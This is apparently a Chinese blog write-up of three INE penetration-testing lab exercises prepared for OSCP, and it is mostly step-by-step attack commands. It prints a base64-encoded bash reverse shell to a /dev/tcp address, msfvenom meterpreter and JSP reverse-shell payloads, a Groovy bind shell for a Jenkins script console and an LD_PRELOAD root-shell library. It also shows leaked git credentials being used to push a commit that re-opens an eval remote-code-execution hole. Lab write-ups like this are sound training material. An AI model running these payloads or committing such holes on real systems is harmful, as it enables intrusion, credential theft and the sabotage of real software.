oscp|INE Penetration Testing Basics 黑盒渗透测试过程

简介 oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

官方网站:

https://my.ine.com/CyberSecurity/courses/6f986ca5/penetration-testing-basics

黑盒渗透测试1 启动实验室,然后对目标网站进行枚举
nmap -A -sS demo.ine.local

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

开放了80端口,我们去网站上看看
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

发现网站的框架为V-CMS V1.0
通过搜索,发现该版本存在任意上传漏洞
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

进入msf,搜索漏洞
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

使用第二个,设置参数
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

run

执行攻击,得到shell
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

发现当前权限为root,进入shell,发现这个机子还在另一个网段中,我们无法直接ping通
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

我们要执行路由转发,然后枚举那个网段的机子
使用“autoroute”命令将路由添加到无法访问的 IP 范围
run autoroute -s 192.241.145.0 -n 255.255.255.0

将路由添加到 IP 范围 192.241.145.0/24
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

返回到msf,检查是否添加成功
route print

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

路由添加成功。然后我们可以使用“route”命令将路由表添加到 metasploit 框架
route add 192.241.145.0255.255.255.0 1

使用msf的tcp扫描模块
auxiliary/scanner/portscan/tcp

设置参数,然后执行扫描
use auxiliary/scanner/portscan/tcp set PORTS 80, 8080, 445, 21, 22 set RHOSTS 192.241.145.0/24 exploit

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

然后我们发现了三台存活的主机
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

192.241.145.1只开放了22端口,猜测可能是网关,192.241.145.2这个机子开发了80端口,是刚刚我们用vcms渗透的机子,未知的只有192.241.145.3这台机子,开发了21端口
在meterpreter 会话中有一个实用程序“portfwd”,它可以将远程机器端口转发到本地机器端口
回到刚刚拿下权限的那台机子
session -i 1

将远程端口转发到本地端口
portfwd add -l 1234 -p 21 -r 192.241.145.3 portfwd list

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

我们已经成功转发了端口。现在,使用 Nmap 扫描本地1234端口
nmap -sS -sV -p 1234 localhost

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

发现服务的版本是2.0.8,还是vsftpd,可以知道存在笑脸漏洞
msf 搜索 vsftpd 漏洞利用模块
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

使用这个模块,设置参数后执行
set rhosts 192.241.145.3 run

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

成功拿到最高权
黑盒渗透测试2 启动实验室,然后对目标网站进行枚举
nmap -A -sS online-calc.com

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

目标靶机开放了80,5000,8000端口,我们访问80端口看看
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

什么都没有,枚举一下网站根目录看看
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

并没有什么有趣的目录,我们去访问5000端口看看
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

一个在线的计算器,枚举一下网站根目录
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

还是什么都没有
我们去访问一下8000端口
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

继续枚举网站根目录
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

发现了两个有趣的目录
/.git/ /console

暴露的.git目录中可能还有一些文件,继续枚举git目录
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

使用命令查看文件内容
curl http://online-calc.com:8000/.git/config

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

git 配置包含详细信息,包括名为Jeremy McCarthy的用户的凭据: 电子邮件:jeremy@dummycorp.com 用户名:jeremy 密码:diamonds git 配置文件还包含远程源的 URL: 远程来源网址: http: //online-calc.com/projects/online-calc

发现了远程存储库的网址,接下来我们要利用远程存储库枚举更多信息
使用以下命令克隆远程存储库:
git clone http://online-calc.com/projects/online-calc

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

然后我们检查一下 git 日志
git log

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

此存储库中的代码存在 2 个问题:任意文件读取和远程代码执行,但这两个问题都在随后的修复中得到解决
使用以下命令列出修复任意文件读取漏洞时的提交与之前的提交之间的更改
git diff 9aa6151c1d5e92ae0bd3d8ad8789ae9bb2d29edd 17f5d49be5ae6f0bc41fc90f5aabeccc90f6e2cd

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

通过分析发现
该send_from_directory函数用于发送从Flask服务器的根目录请求的任何文件 如果请求的路径包含or,%2E,404,则返回响应

使用以下命令列出修复 RCE 漏洞时的提交与之前的提交之间的更改:
git diff 4bcfb590014321deb984237da2a319206975170f 9aa6151c1d5e92ae0bd3d8ad8789ae9bb2d29edd

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

通过分析可以知道
为了修复错误,在代码中添加了一个名为的evaluate函数,并且在函数中,isValid在将用户提供的数据传递给函数之前调用了该eval函数 用户输入中的字符在函数中被替换为"* 1.0 /"和evaluate

我们需要修改API.py中的代码,来重新利用这个远程代码执行漏洞
vim API.py

在最下面
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

现在在调用之前注释输入验证检查
eval

保存文件后退出
接下来我们要利用之前找到的信息将这些更改提交到存储库
git status git add . git commit -m "Bug Fix" --author "Jeremy McCarthy "

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

根据之前得到的账号密码来将这些更改推送到远程存储库
git push

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

我们查看一下是否更改成功
curl http://online-calc.com:8000/API.py

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

可以看到,我们修改成功了
现在就需要想办法得到shell了,通过之前的分析我们可以知道
为了修复错误,在代码中添加了一个名为的evaluate函数,并且在函数中,isValid在将用户提供的数据传递给函数之前调用了该eval函数 用户输入中的字符在函数中被替换为"* 1.0 /"和evaluate

所以我们需要用base64编码一下我们的payload
echo 'bash -c "bash -i >& /dev/tcp/192.196.85.2/4444 0>&1"' | base64

然后监听我们的本地4444端口
nc -lvp 4444

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

然后去到网址的5000端口,执行我们完整的payload
__import__("os").system("echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMjguNTIuMi80NDQ0IDA+JjEi | base64 -d | bash")

现在将复制的有效负载粘贴到计算器 webapp 的文本框中,然后按下id
=

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

成功拿到最高权限,查看本机网络,发现还存在一个网段
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

接下来我们要使用msf进行路由转发来渗透另一个网段的机子,我们先生成一个meterpreter 的payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.28.52.2 LPORT=5555 -f elf > payload.bin python3 -m http.server 80

然后去到拿到权限的机子下载这个文件
wget http://192.28.52.2/payload.bin chmod +x payload.bin

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

回到kali,我们打开msf,设置监听
msfconsole -q use exploit/multi/handler set PAYLOAD linux/x64/meterpreter/reverse_tcp set LHOST 192.28.52.2 set LPORT 5555 run

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

去到靶机上,执行payload.bin
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

存在另一个网段,我们进行路由转发
bg route add 192.218.55.0/24 1

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

使用socks_proxy模块将meterpreter会话转换为socks代理
use auxiliary/server/socks_proxy set VERSION 4a set SRVPORT 9050 run -j

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

socks 代理服务器(版本 4a)将在端口 9050 上启动。它将作为后台进程启动
使用 proxychains工具扫描另一个网段的主机,该工具将利用我们启动的代理服务器,探测存活主机后,发现192.218.55.3是另一个网段里唯一存活的主机
proxychains nmap -sT -P0 192.218.55.3

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

发现此主机开放了8080端口,我们打开火狐,设置一下网络代理
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

然后访问目标主机的8080端口
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

发现网站框架是jenkins,利用起来就简单了,因为这个框架可以直接执行脚本,我们去到脚本控制台
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

因为这是另一个网段的机子,不能直接回连shell,但我们可以让他监听5555端口,然后我们主动用nc去连接
payload:
int port=5555; String cmd="/bin/bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start() Socket s = new java.net.ServerSocket(port).accept() InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream(); OutputStream po=p.getOutputStream(),so=s.getOutputStream(); while(!s.isClosed()){while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush(); po.flush(); Thread.sleep(50); try {p.exitValue(); break; }catch (Exception e){}}; p.destroy(); s.close();

点击run
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

proxychains nc -v 192.218.55.3 5555

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

黑盒渗透测试3 这里给了三个网站
server1.ine.local server2.ine.local server3.ine.local

我猜测他们都相互有关联的,由于很简单,这里我就简单记录一下渗透的过程
首先用nmap枚举第一个网站
nmap -A -sS server1.ine.local

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

发现网站的框架是werkzeug 版本为0.9.6
使用searchsploit搜索一下框架的漏洞
searchsploit werkzeug

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

查看一下漏洞信息
cat /usr/share/exploitdb/exploits/python/remote/37814.rb

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

发现此版本可以利用,打开msfconsole
use exploit/multi/http/werkzeug_debug_rce set RHOSTS server1.ine.local set LHOST 192.220.184.2 run

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

成功的拿到了最高权限,我们查看一下靶机上存在的用户
cat /etc/shadow

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

目标计算机上共有七个用户
使用enum_users_history模块来查看用户的历史文件,此模块会收集用户特定信息,用户列表、bash 历史、mysql 历史、vim 历史、lastlog 和 sudoers
background use post/linux/gather/enum_users_history set SESSION 1 run

然后查看生成的文件
cd /root/.msf4/loot/ ls cat [file]

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

这里发现了mysql的用户名和密码,我们开始枚举第二个服务器
nmap -A -sS server2.ine.local

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

发现开放的端口和ip都吻合历史文件的记录,我们登录mysql
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

然后查看mysql数据库的版本
select version();

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

通过google发现存在用户定义函数 (UDF)漏洞,打开msfconsole
use exploit/multi/mysql/mysql_udf_payload set FORCE_UDF_UPLOAD true set PASSWORD fArFLP29UySm4bZj set RHOSTS server2.ine.local set TARGET 1 set LHOST 192.220.184.2 run session -i 1

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

成功拿到第二台机子的最高权限,查看flag
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

然后开始枚举第三个网站
nmap -A -sS server3.ine.local

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

【oscp|INE Penetration Testing Basics 黑盒渗透测试过程】机子开放了8080端口,框架为tomcat,然后枚举一下网站根目录
dirb http://server3.ine.local:8080

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

发现了一个有趣的目录,我们去浏览器上访问
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

他要求我们登录,我们暴力破解一下看行不行
打开msfconsole
use auxiliary/scanner/http/tomcat_mgr_login set RHOSTS server3.ine.local set VERBOSE false run

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

成功爆破出密码,然后去登录
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

我们可以上传一个paylaod来获得目标靶机的shell
使用msfvenom生成payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.220.184.2 LPORT=443 -f war > shell.war

然后上传我们的payload
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

上传成功,然后本地监听一下端口
nc -vnlp 443

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

访问连接,成功得到shell
当前的 shell 不是标准 shell,因为它缺乏 TTY shell 提供的很多好处,如反向搜索、tab补全等。所以让我们使用 Python 升级当前的 shell 会话
python -c 'import pty; pty.spawn("/bin/bash"); '

查看flag
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

然后我们查看靶机上存在的用户
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

发现只有一个用户
去到tomcat的配置文件目录下看看有没有其他文件
cd /con

发现有一个压缩包,我们解压一下这个压缩包
tar -xvf conf.tar.gz ls

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

发现一个有趣的文件,我们去看看
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

文件配置里有robert的密码,我们登录试试
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

登录成功,查看flag
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

现在我们需要手动提权拿到root权限,sudo -l 看一下这个用户可以用sudo执行什么命令
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

这个用户可以用sudo命令执行ls命令
我们可以通过利用LD_PRELOAD环境变量,强制用ls命令加载一个自定义共享库,该库在目标机器上提供 shell 访问
创建一个文件,然后写入以下代码
#include #include #include void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/sh"); }

上面的代码很简单。它将用户 ID 和组 ID 设置为 0,并生成一个 bash shell
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

然后编译这个文件为共享库
gcc -fPIC -shared -o shell.so 1.c -nostartfiles

然后执行
sudo LD_PRELOAD=/home/robert/shell.so ls

oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

成功拿到root权限
查看flag
oscp|INE Penetration Testing Basics 黑盒渗透测试过程
文章图片

    推荐阅读